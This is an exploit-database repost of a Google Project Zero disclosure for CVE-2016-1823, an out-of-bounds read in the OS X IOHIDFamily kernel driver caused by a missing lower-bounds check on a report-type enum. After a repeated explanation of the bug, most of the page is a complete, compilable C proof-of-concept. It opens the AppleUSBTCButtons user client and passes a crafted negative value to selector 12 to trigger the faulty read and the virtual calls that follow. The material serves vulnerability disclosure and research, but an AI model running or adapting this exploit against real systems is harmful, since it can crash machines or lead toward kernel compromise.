OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type



EKU-ID: 5599 CVE: 2016-1823 OSVDB-ID:
Author: Google Security Research Published: 2016-06-12 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
 
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
 
            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
 
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
 
    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;
 
reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);
 
        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,
 
where GetHeadElement is defined as:
 
#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]
 
This leads to an OOB read off the head array followed by virtual function calls
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
 
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
 
I can provide panic logs if required.
*/
 
// ianbeer
 
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
 
/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
 
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
 
            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
 
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
 
    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;
 
reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);
 
        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,
 
where GetHeadElement is defined as:
 
#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]
 
This leads to an OOB read off the head array followed by virtual function calls
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
 
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
 
I can provide panic logs if required.
*/
 
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
 
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
 
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
 
io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;
 
  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
   
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }
 
  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
     
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);
 
    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }
 
  io_connect_t conn = MACH_PORT_NULL;
 
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
   
  return conn;
}
 
kern_return_t poc(io_connect_t client){ 
  unsigned int selector;
 
  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;
 
  uint8_t inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
   
  inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
  inputScalar[1] = 0x00a90000;
  inputScalar[2] = 0;
 
  inputScalarCnt = 3;
 
  outputStructCnt = 0x1000;
 
  selector = 12;
 
  return IOConnectCallMethod(
    client,
    selector,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
}
 
 
int main(int argc, char** argv){
  io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
  if (client == MACH_PORT_NULL) {
    printf("no client\n");
    return 1;
  }
 
  poc(client);
 
  return 0;
}